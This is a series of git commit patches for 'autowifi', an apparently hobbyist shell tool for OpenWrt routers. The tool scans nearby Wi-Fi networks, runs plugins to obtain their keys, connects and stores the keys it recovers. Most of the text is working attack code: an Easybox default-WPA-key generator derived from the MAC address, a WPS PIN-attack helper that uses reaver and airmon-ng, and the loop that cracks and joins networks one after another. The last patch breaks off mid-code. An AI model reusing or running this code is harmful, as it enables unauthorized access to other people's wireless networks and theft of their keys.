ESSID_${count}="${line#*ESSID:}" + ESSID="${line#*ESSID:}" ;; *"IE: IEEE 802.11i/WPA2"*) - echo WPA2_${count}=1 + WPA2=1 ;; *"IE: WPA Version 1"*) - echo WPA_${count}=1 + WPA=1 ;; *);; esac - done; echo WIFI_COUNT=$count) + done; print_iwlist_env ;echo WIFI_COUNT=$count) } crack_wifi(){ if [ -n "$6" ];then @@ -94,12 +111,13 @@ loop_over_networks(){ done } -iwlist_scan > /tmp/${wifi}.scan -loop_over_networks +#iwlist_scan > /tmp/${wifi}.scan +#loop_over_networks -while sleep 60; do - if ! check_internet; then - iwlist_scan > /tmp/${wifi}.scan - loop_over_networks - fi -done +#while sleep 60; do +# if ! check_internet; then +# iwlist_scan > /tmp/${wifi}.scan +# loop_over_networks +# fi +#done +iwlist_scan -- cgit v1.2.3 From 82eca39bd5e84fd5df720546570e839e812383c5 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 17:05:42 +0200 Subject: now working again :D --- usr/bin/autowifi | 25 ++++++++++++------------- 1 file changed, 12 insertions(+), 13 deletions(-) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index bee49844..0eaf72c0 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -73,13 +73,13 @@ iwlist_scan(){ done; print_iwlist_env ;echo WIFI_COUNT=$count) } crack_wifi(){ - if [ -n "$6" ];then - encr=psk2 + if [ $4 == off ];then + encr=open elif [ -n "$5" ]; then encr=psk - elif [ "$4" == on ]; then + elif [ -n "$6" ]; then encr=wep - else + elif [ $4 == on ]; then encr=open fi for hack in $(find /usr/lib/autowifi/ -type f); do @@ -111,13 +111,12 @@ loop_over_networks(){ done } -#iwlist_scan > /tmp/${wifi}.scan -#loop_over_networks +iwlist_scan > /tmp/${wifi}.scan +loop_over_networks -#while sleep 60; do -# if ! check_internet; then -# iwlist_scan > /tmp/${wifi}.scan -# loop_over_networks -# fi -#done -iwlist_scan +while sleep 60; do + if ! check_internet; then + iwlist_scan > /tmp/${wifi}.scan + loop_over_networks + fi +done -- cgit v1.2.3 From 3f21974d495b81d16e49b0808a1a5b121ab0a66b Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 17:10:58 +0200 Subject: fixed bugs in encryption detection --- usr/bin/autowifi | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 0eaf72c0..1e5a5a6b 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -73,14 +73,14 @@ iwlist_scan(){ done; print_iwlist_env ;echo WIFI_COUNT=$count) } crack_wifi(){ - if [ $4 == off ];then + if [ "$4" == off ];then encr=open - elif [ -n "$5" ]; then + elif [ "$5" -eq 1 ]; then encr=psk - elif [ -n "$6" ]; then + elif [ "$6" -eq 1 ]; then + encr=wep + elif [ "$4" == on ]; then encr=wep - elif [ $4 == on ]; then - encr=open fi for hack in $(find /usr/lib/autowifi/ -type f); do key=$($hack $@); -- cgit v1.2.3 From 2f2311697d0c448717db34998ca497d245c28bca Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 17:18:11 +0200 Subject: now escaped fuu --- usr/bin/autowifi | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 1e5a5a6b..73d5db18 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -83,10 +83,10 @@ crack_wifi(){ encr=wep fi for hack in $(find /usr/lib/autowifi/ -type f); do - key=$($hack $@); + key=$($hack "$@"); ret=$? if [ $ret -eq 0 ];then - connect_wifi $3 $1 $encr $key + connect_wifi "$3" "$1" $encr "$key" sleep 20 if check_gateway; then (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 @@ -107,7 +107,7 @@ loop_over_networks(){ . /tmp/${wifi}.scan for i in `seq 1 $WIFI_COUNT`; do eval grep -q \${MAC_${i}} /etc/autowifi/blacklist && continue - eval crack_wifi \${ESSID_${i}} \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} + eval crack_wifi "\${ESSID_${i}}" \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} done } -- cgit v1.2.3 From 3e470a16a125aea2b77388db8bf9758190f5b881 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 17:21:06 +0200 Subject: now working profile managment --- usr/lib/autowifi/00profile | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/usr/lib/autowifi/00profile b/usr/lib/autowifi/00profile index 4d2a9a82..fe42470b 100755 --- a/usr/lib/autowifi/00profile +++ b/usr/lib/autowifi/00profile @@ -1,9 +1,8 @@ #!/bin/sh #ESSID MAC CHANNEL ENCRYPTION WPA WPA2 -cat /etc/autowifi/wifi_keys | while IFS='|' read SSID MAC KEY; do +cat /etc/autowifi/wifi_keys | (while IFS='|' read SSID MAC KEY; do if [ "$1" == "$SSID" -a "$2" == "$MAC" ]; then echo $KEY exit 0 fi -done -exit 1 +done; exit 1) -- cgit v1.2.3 From cdb4bf2e4370757325452b70ade06aed79a643d5 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 17:24:00 +0200 Subject: more encryption fixing --- usr/bin/autowifi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 73d5db18..fcb5b59c 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -78,7 +78,7 @@ crack_wifi(){ elif [ "$5" -eq 1 ]; then encr=psk elif [ "$6" -eq 1 ]; then - encr=wep + encr=psk2 elif [ "$4" == on ]; then encr=wep fi -- cgit v1.2.3 From 2bafe012acd61e90a4a3481f004a71a0378506c1 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 17:25:38 +0200 Subject: more comments --- usr/bin/autowifi | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index fcb5b59c..46a3b7f9 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -73,12 +73,13 @@ iwlist_scan(){ done; print_iwlist_env ;echo WIFI_COUNT=$count) } crack_wifi(){ + #SSID MAC CHANNEL ENCRYPTION WPA WPA2 if [ "$4" == off ];then encr=open - elif [ "$5" -eq 1 ]; then - encr=psk elif [ "$6" -eq 1 ]; then encr=psk2 + elif [ "$5" -eq 1 ]; then + encr=psk elif [ "$4" == on ]; then encr=wep fi -- cgit v1.2.3 From 729eb44eca98c772c0def8a1cd41fa52763d0663 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 17:30:02 +0200 Subject: shorter wait, fixed loop --- usr/bin/autowifi | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 46a3b7f9..8c5a0101 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -88,7 +88,7 @@ crack_wifi(){ ret=$? if [ $ret -eq 0 ];then connect_wifi "$3" "$1" $encr "$key" - sleep 20 + sleep 5 if check_gateway; then (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys @@ -97,6 +97,7 @@ crack_wifi(){ fi fi done + return 1 } check_gateway(){ ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') @@ -108,7 +109,7 @@ loop_over_networks(){ . /tmp/${wifi}.scan for i in `seq 1 $WIFI_COUNT`; do eval grep -q \${MAC_${i}} /etc/autowifi/blacklist && continue - eval crack_wifi "\${ESSID_${i}}" \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} + eval crack_wifi "\${ESSID_${i}}" \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} && break done } -- cgit v1.2.3 From f363bacc47fbf1899f62e01741a72ae015c41e09 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 19:08:30 +0200 Subject: better internet check --- usr/bin/autowifi | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 8c5a0101..28560797 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -103,7 +103,12 @@ check_gateway(){ ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') } check_internet(){ - wget -O- --spider http://google.de/index.html + secret=$(wget -O- http://euer.krebsco.de/secret) + if [ "$secret" == "1337" ]; then + return 0 + else + return 1 + fi } loop_over_networks(){ . /tmp/${wifi}.scan -- cgit v1.2.3 From aaee76eac5435db5a9bf0d80224bd7eb9d648c03 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 19:12:05 +0200 Subject: sleep from 5 to 10 --- usr/bin/autowifi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 28560797..891e8938 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -88,7 +88,7 @@ crack_wifi(){ ret=$? if [ $ret -eq 0 ];then connect_wifi "$3" "$1" $encr "$key" - sleep 5 + sleep 10 if check_gateway; then (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys -- cgit v1.2.3 From d1512e39e5d847fe5c51bb085213bde6913dedc8 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 22:04:56 +0200 Subject: autoconnect now with led-managment, profile fixed --- usr/bin/autowifi | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 891e8938..a960bf01 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -74,6 +74,7 @@ iwlist_scan(){ } crack_wifi(){ #SSID MAC CHANNEL ENCRYPTION WPA WPA2 + all_led timer if [ "$4" == off ];then encr=open elif [ "$6" -eq 1 ]; then @@ -88,12 +89,12 @@ crack_wifi(){ ret=$? if [ $ret -eq 0 ];then connect_wifi "$3" "$1" $encr "$key" - sleep 10 + sleep 30 if check_gateway; then (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys echo "yay gateway" - check_internet && return 0 + check_internet && all_led none && return 0 fi fi done @@ -123,6 +124,7 @@ loop_over_networks while sleep 60; do if ! check_internet; then + all_led default-on iwlist_scan > /tmp/${wifi}.scan loop_over_networks fi -- cgit v1.2.3 From 9e5ca86134a61e1d953bb5a8f438f589df414347 Mon Sep 17 00:00:00 2001 From: lassulus Date: Sat, 25 May 2013 01:02:53 +0200 Subject: shorter sleep --- usr/bin/autowifi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index a960bf01..62ae2838 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -89,7 +89,7 @@ crack_wifi(){ ret=$? if [ $ret -eq 0 ];then connect_wifi "$3" "$1" $encr "$key" - sleep 30 + sleep 5 if check_gateway; then (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys -- cgit v1.2.3 From 773191cb6d6d0f886b8a2e65f1524e66152bb30f Mon Sep 17 00:00:00 2001 From: lassulus Date: Sat, 25 May 2013 01:06:53 +0200 Subject: temp: 60s wait after check_gateway --- usr/bin/autowifi | 1 + 1 file changed, 1 insertion(+) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 62ae2838..bcc8f031 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -94,6 +94,7 @@ crack_wifi(){ (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys echo "yay gateway" + sleep 60 check_internet && all_led none && return 0 fi fi -- cgit v1.2.3 From 814c39b547212fc3e6be83a9ad749407e7cf4245 Mon Sep 17 00:00:00 2001 From: lassulus Date: Sat, 25 May 2013 01:08:09 +0200 Subject: temp: changed check_internet to check_gateway --- usr/bin/autowifi | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index bcc8f031..28b24808 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -94,8 +94,7 @@ crack_wifi(){ (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys echo "yay gateway" - sleep 60 - check_internet && all_led none && return 0 + check_gateway && all_led none && return 0 fi fi done -- cgit v1.2.3 From 5d91b91ebacf8142652e6997eada8e5c6e809e01 Mon Sep 17 00:00:00 2001 From: lassulus Date: Sat, 25 May 2013 15:33:12 +0200 Subject: changed secret server --- usr/bin/autowifi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 28b24808..a1f5e95d 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -104,7 +104,7 @@ check_gateway(){ ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') } check_internet(){ - secret=$(wget -O- http://euer.krebsco.de/secret) + secret=$(wget -O- http://krebsco.de/secret) if [ "$secret" == "1337" ]; then return 0 else -- cgit v1.2.3 From ed73fba46289f4af60422b2d267ba40834ca97ca Mon Sep 17 00:00:00 2001 From: makefu Date: Sat, 25 May 2013 20:50:49 +0200 Subject: add plugins folder --- usr/bin/autowifi | 2 +- usr/lib/autowifi/00profile | 8 -------- usr/lib/autowifi/01open | 6 ------ usr/lib/autowifi/easybox | 38 -------------------------------------- usr/lib/autowifi/plugins/00profile | 8 ++++++++ usr/lib/autowifi/plugins/01open | 6 ++++++ usr/lib/autowifi/plugins/02easybox | 38 ++++++++++++++++++++++++++++++++++++++ 7 files changed, 53 insertions(+), 53 deletions(-) delete mode 100755 usr/lib/autowifi/00profile delete mode 100755 usr/lib/autowifi/01open delete mode 100755 usr/lib/autowifi/easybox create mode 100755 usr/lib/autowifi/plugins/00profile create mode 100755 usr/lib/autowifi/plugins/01open create mode 100755 usr/lib/autowifi/plugins/02easybox diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 28b24808..24ffb461 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -84,7 +84,7 @@ crack_wifi(){ elif [ "$4" == on ]; then encr=wep fi - for hack in $(find /usr/lib/autowifi/ -type f); do + for hack in $(find /usr/lib/autowifi/plugins -type f); do key=$($hack "$@"); ret=$? if [ $ret -eq 0 ];then diff --git a/usr/lib/autowifi/00profile b/usr/lib/autowifi/00profile deleted file mode 100755 index fe42470b..00000000 --- a/usr/lib/autowifi/00profile +++ /dev/null @@ -1,8 +0,0 @@ -#!/bin/sh -#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 -cat /etc/autowifi/wifi_keys | (while IFS='|' read SSID MAC KEY; do - if [ "$1" == "$SSID" -a "$2" == "$MAC" ]; then - echo $KEY - exit 0 - fi -done; exit 1) diff --git a/usr/lib/autowifi/01open b/usr/lib/autowifi/01open deleted file mode 100755 index f3b9640c..00000000 --- a/usr/lib/autowifi/01open +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/sh -#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 -if [ "$4" == "off" ]; then - exit 0 -fi -exit 1 diff --git a/usr/lib/autowifi/easybox b/usr/lib/autowifi/easybox deleted file mode 100755 index e5323977..00000000 --- a/usr/lib/autowifi/easybox +++ /dev/null @@ -1,38 +0,0 @@ -#!/bin/sh -#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 -if ! echo $1 | grep -qi Easybox; then - exit 1 -else - MAC=${2?\$2 must be MAC} - - # Take the last 2 Bytes of the MAC-Address (0B:EC), and convert it to decimal. - - take5=${MAC:12} - last4=${take5/:/} - - # Fill up to 4 places with zeros, if necessary: - deci=$(printf "%04d" "0x$last4" | sed 's/.*\(....\)/\1/;s/./& /g') - #echo M4: ${deci[@]} - # - # The digits M9 to M12 are just the last digits (9.-12.) of the MAC: - hexi=$(echo ${MAC:12:5} | sed 's/://;s/./& /g') - #echo 'M4 (Hex): ' ${hexi[@]} - # K1 = last byte of (d0 + d1 + h2 + h3) - # K2 = last byte of (h0 + h1 + d2 + d3) - c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1}) - c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1}) - K1=$((($c1)%16)) - K2=$((($c2)%16)) - #printf "K1: %x\n" $K1 - #printf "K2: %x\n" $K2 - X1=$((K1^${deci:6:1})) - X2=$((K1^${deci:4:1})) - X3=$((K1^${deci:2:1})) - Y1=$((K2^0x${hexi:2:1})) - Y2=$((K2^0x${hexi:4:1})) - Y3=$((K2^0x${hexi:6:1})) - Z1=$((0x${hexi:4:1}^${deci:6:1})) - Z2=$((0x${hexi:6:1}^${deci:4:1})) - Z3=$((K1^K2)) - printf "%x%x%x%x%x%x%x%x%x\n" $X1 $Y1 $Z1 $X2 $Y2 $Z2 $X3 $Y3 $Z3 | tr a-f A-F -fi diff --git a/usr/lib/autowifi/plugins/00profile b/usr/lib/autowifi/plugins/00profile new file mode 100755 index 00000000..fe42470b --- /dev/null +++ b/usr/lib/autowifi/plugins/00profile @@ -0,0 +1,8 @@ +#!/bin/sh +#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 +cat /etc/autowifi/wifi_keys | (while IFS='|' read SSID MAC KEY; do + if [ "$1" == "$SSID" -a "$2" == "$MAC" ]; then + echo $KEY + exit 0 + fi +done; exit 1) diff --git a/usr/lib/autowifi/plugins/01open b/usr/lib/autowifi/plugins/01open new file mode 100755 index 00000000..f3b9640c --- /dev/null +++ b/usr/lib/autowifi/plugins/01open @@ -0,0 +1,6 @@ +#!/bin/sh +#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 +if [ "$4" == "off" ]; then + exit 0 +fi +exit 1 diff --git a/usr/lib/autowifi/plugins/02easybox b/usr/lib/autowifi/plugins/02easybox new file mode 100755 index 00000000..e5323977 --- /dev/null +++ b/usr/lib/autowifi/plugins/02easybox @@ -0,0 +1,38 @@ +#!/bin/sh +#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 +if ! echo $1 | grep -qi Easybox; then + exit 1 +else + MAC=${2?\$2 must be MAC} + + # Take the last 2 Bytes of the MAC-Address (0B:EC), and convert it to decimal. + + take5=${MAC:12} + last4=${take5/:/} + + # Fill up to 4 places with zeros, if necessary: + deci=$(printf "%04d" "0x$last4" | sed 's/.*\(....\)/\1/;s/./& /g') + #echo M4: ${deci[@]} + # + # The digits M9 to M12 are just the last digits (9.-12.) of the MAC: + hexi=$(echo ${MAC:12:5} | sed 's/://;s/./& /g') + #echo 'M4 (Hex): ' ${hexi[@]} + # K1 = last byte of (d0 + d1 + h2 + h3) + # K2 = last byte of (h0 + h1 + d2 + d3) + c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1}) + c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1}) + K1=$((($c1)%16)) + K2=$((($c2)%16)) + #printf "K1: %x\n" $K1 + #printf "K2: %x\n" $K2 + X1=$((K1^${deci:6:1})) + X2=$((K1^${deci:4:1})) + X3=$((K1^${deci:2:1})) + Y1=$((K2^0x${hexi:2:1})) + Y2=$((K2^0x${hexi:4:1})) + Y3=$((K2^0x${hexi:6:1})) + Z1=$((0x${hexi:4:1}^${deci:6:1})) + Z2=$((0x${hexi:6:1}^${deci:4:1})) + Z3=$((K1^K2)) + printf "%x%x%x%x%x%x%x%x%x\n" $X1 $Y1 $Z1 $X2 $Y2 $Z2 $X3 $Y3 $Z3 | tr a-f A-F +fi -- cgit v1.2.3 From 4fa3206a16921d0a7984b0dcd5ca9086786a31cf Mon Sep 17 00:00:00 2001 From: makefu Date: Sat, 25 May 2013 22:48:24 +0200 Subject: refactor functions for reusability --- usr/bin/autowifi | 88 ++++++-------------------------------------- usr/lib/autowifi/lib/iwlist | 55 +++++++++++++++++++++++++++ usr/lib/autowifi/lib/network | 12 ++++++ usr/lib/autowifi/lib/openwrt | 18 +++++++++ usr/lib/autowifi/lib/wps | 21 +++++++++++ 5 files changed, 117 insertions(+), 77 deletions(-) create mode 100644 usr/lib/autowifi/lib/iwlist create mode 100644 usr/lib/autowifi/lib/network create mode 100644 usr/lib/autowifi/lib/openwrt create mode 100644 usr/lib/autowifi/lib/wps diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 24ffb461..7b92eb9b 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -1,77 +1,22 @@ #!/bin/sh -x +# States (LED): +# Blinking - running wifi plugins +# Turned off - connected to wifi +# Turned on - waiting for next scan round + wifi=wlan0 iface=@wifi-iface[0] radio=$(uci get wireless.${iface}.device) -connect_wifi(){ - # channel ssid encryption key - uci set wireless.${iface}.mode=sta - ifconfig $wifi up - uci set wireless.${radio}.channel=$1 - uci set "wireless.${iface}.ssid=$2" - if [ $3 == "none" ] ; then - uci set wireless.${iface}.encryption=none - uci -q delete wireless.${iface}.key - else - uci set "wireless.${iface}.key=$4" - uci set wireless.${iface}.encryption=$3 - fi - uci commit wireless - wifi up -} +# for connect_wifi +. /usr/lib/autowifi/lib/openwrt -print_iwlist_env(){ - # takes environment: - # count - # MAC - # CHANNEL - # QUALITY - # ENCRYPTION - # ESSID - # WPA - # WPA2 - for i in ESSID MAC CHANNEL QUALITY ENCRYPTION WPA WPA2;do - eval echo ${i}_${count}=\$${i} - done -} +# for iwlist_scan +. /usr/lib/autowifi/lib/iwlist -iwlist_scan(){ - ifconfig $wifi up +# for check_internet and check_gateway +. /usr/lib/autowifi/lib/network - count=0 - - iwlist scan ${1:-} 2>/dev/null | ( while read line; - do - case "$line" in - *"Cell "*) - [ $count -eq 0 ] || print_iwlist_env - WPA=0 - WPA2=0 - : $((count+=1)) - MAC="${line#*Address: }" - ;; - *Channel:*) - CHANNEL="${line#*:}" - ;; - *Quality=*) - QUALITY="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`" - ;; - *"Encryption key:"*) - ENCRYPTION="${line#*key:}" - ;; - *ESSID:*) - ESSID="${line#*ESSID:}" - ;; - *"IE: IEEE 802.11i/WPA2"*) - WPA2=1 - ;; - *"IE: WPA Version 1"*) - WPA=1 - ;; - *);; - esac - done; print_iwlist_env ;echo WIFI_COUNT=$count) -} crack_wifi(){ #SSID MAC CHANNEL ENCRYPTION WPA WPA2 all_led timer @@ -100,17 +45,6 @@ crack_wifi(){ done return 1 } -check_gateway(){ - ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') -} -check_internet(){ - secret=$(wget -O- http://euer.krebsco.de/secret) - if [ "$secret" == "1337" ]; then - return 0 - else - return 1 - fi -} loop_over_networks(){ . /tmp/${wifi}.scan for i in `seq 1 $WIFI_COUNT`; do diff --git a/usr/lib/autowifi/lib/iwlist b/usr/lib/autowifi/lib/iwlist new file mode 100644 index 00000000..a9f77f0c --- /dev/null +++ b/usr/lib/autowifi/lib/iwlist @@ -0,0 +1,55 @@ +#!/bin/sh + +print_iwlist_env(){ + # takes environment: + # count + # MAC + # CHANNEL + # QUALITY + # ENCRYPTION + # ESSID + # WPA + # WPA2 + for i in ESSID MAC CHANNEL QUALITY ENCRYPTION WPA WPA2;do + eval echo ${i}_${count}=\$${i} + done +} + +iwlist_scan(){ + # usage: iwlist_scan $wifi-itf + ifconfig $wifi up + + count=0 + + iwlist ${1:-} scan 2>/dev/null | ( while read line; + do + case "$line" in + *"Cell "*) + [ $count -eq 0 ] || print_iwlist_env + WPA=0 + WPA2=0 + : $((count+=1)) + MAC="${line#*Address: }" + ;; + *Channel:*) + CHANNEL="${line#*:}" + ;; + *Quality=*) + QUALITY="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`" + ;; + *"Encryption key:"*) + ENCRYPTION="${line#*key:}" + ;; + *ESSID:*) + ESSID="${line#*ESSID:}" + ;; + *"IE: IEEE 802.11i/WPA2"*) + WPA2=1 + ;; + *"IE: WPA Version 1"*) + WPA=1 + ;; + *);; + esac + done; print_iwlist_env ;echo WIFI_COUNT=$count) +} diff --git a/usr/lib/autowifi/lib/network b/usr/lib/autowifi/lib/network new file mode 100644 index 00000000..fd2eb6a9 --- /dev/null +++ b/usr/lib/autowifi/lib/network @@ -0,0 +1,12 @@ +#!/bin/sh +check_gateway(){ + ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') +} +check_internet(){ + secret=$(wget -O- http://euer.krebsco.de/secret) + if [ "$secret" == "1337" ]; then + return 0 + else + return 1 + fi +} diff --git a/usr/lib/autowifi/lib/openwrt b/usr/lib/autowifi/lib/openwrt new file mode 100644 index 00000000..3483c1fe --- /dev/null +++ b/usr/lib/autowifi/lib/openwrt @@ -0,0 +1,18 @@ +#!/bin/sh +connect_wifi(){ + # channel ssid encryption key + uci set wireless.${iface}.mode=sta + + ifconfig $wifi up + uci set wireless.${radio}.channel=$1 + uci set "wireless.${iface}.ssid=$2" + if [ $3 == "none" ] ; then + uci set wireless.${iface}.encryption=none + uci -q delete wireless.${iface}.key + else + uci set "wireless.${iface}.key=$4" + uci set wireless.${iface}.encryption=$3 + fi + uci commit wireless + wifi up +} diff --git a/usr/lib/autowifi/lib/wps b/usr/lib/autowifi/lib/wps new file mode 100644 index 00000000..0fdba0f5 --- /dev/null +++ b/usr/lib/autowifi/lib/wps @@ -0,0 +1,21 @@ +#!/bin/sh + +try_wps_pin(){ + # + # ESSID MAC CHANNEL ENC WPA WPA2 PIN + #set -ef + ESSID="$1" + MAC="$2" + CHANNEL="$3" + ENC="$4" + WPA="$5" + WPA2="$6" + PIN="$7" + + [ "$ENC" == off ] && return 2 + + airmon-ng start ${WIFI:-wlan0} $CHANNEL + sleep 1 + reaver -i mon0 -b $MAC -vv -p "$PIN" -f -c $CHANNEL || : + airmon-ng stop mon0 +} -- cgit v1.2.3 From 505fb72b7b9e061e48c90ce35fa317e2a3b55437 Mon Sep 17 00:00:00 2001 From: lassulus Date: Sat, 25 May 2013 23:18:12 +0200 Subject: more timout, check_internet now, led command changed --- usr/bin/autowifi | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 7b92eb9b..f5a177a0 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -34,12 +34,12 @@ crack_wifi(){ ret=$? if [ $ret -eq 0 ];then connect_wifi "$3" "$1" $encr "$key" - sleep 5 + sleep 20 if check_gateway; then (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys echo "yay gateway" - check_gateway && all_led none && return 0 + check_internet && all_led none && return 0 fi fi done @@ -58,7 +58,7 @@ loop_over_networks while sleep 60; do if ! check_internet; then - all_led default-on + all_led on iwlist_scan > /tmp/${wifi}.scan loop_over_networks fi -- cgit v1.2.3 From 9bee05500405e0418876406d3dc64beca044667e Mon Sep 17 00:00:00 2001 From: makefu Date: Sun, 26 May 2013 11:20:17 +0200 Subject: add wps, nonworking --- usr/lib/autowifi/lib/wps | 44 ++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 40 insertions(+), 4 deletions(-) diff --git a/usr/lib/autowifi/lib/wps b/usr/lib/autowifi/lib/wps index 0fdba0f5..7fd38a26 100644 --- a/usr/lib/autowifi/lib/wps +++ b/usr/lib/autowifi/lib/wps @@ -13,9 +13,45 @@ try_wps_pin(){ PIN="$7" [ "$ENC" == off ] && return 2 + WPA_CONF=/tmp/wpa.conf + WPA_LOG=/tmp/wpa.log + rm $WPA_LOG + #mkfifo $WPA_LOG + killall wpa_supplicant && sleep 1 + + cat > $WPA_CONF < Date: Sun, 26 May 2013 14:06:53 +0200 Subject: add belkin WPS plugin --- usr/lib/autowifi/lib/wps | 16 ++++++++---- usr/lib/autowifi/plugins/11belkin_wps | 48 +++++++++++++++++++++++++++++++++++ 2 files changed, 59 insertions(+), 5 deletions(-) create mode 100755 usr/lib/autowifi/plugins/11belkin_wps diff --git a/usr/lib/autowifi/lib/wps b/usr/lib/autowifi/lib/wps index 7fd38a26..8afd5b05 100644 --- a/usr/lib/autowifi/lib/wps +++ b/usr/lib/autowifi/lib/wps @@ -35,17 +35,23 @@ EOF #*"WPA: Key negotiation completed"*) # association failed # exit 1 ;; + if ( tail -f $WPA_LOG & echo "TAILPID: $!" )| while read line ; do + bye(){ + kill -HUP $TAILPID + exit $1 + } + echo $line case "$line" in - TAILPID:*)IFS=" " set -- $line; TAILPID=$2;; + 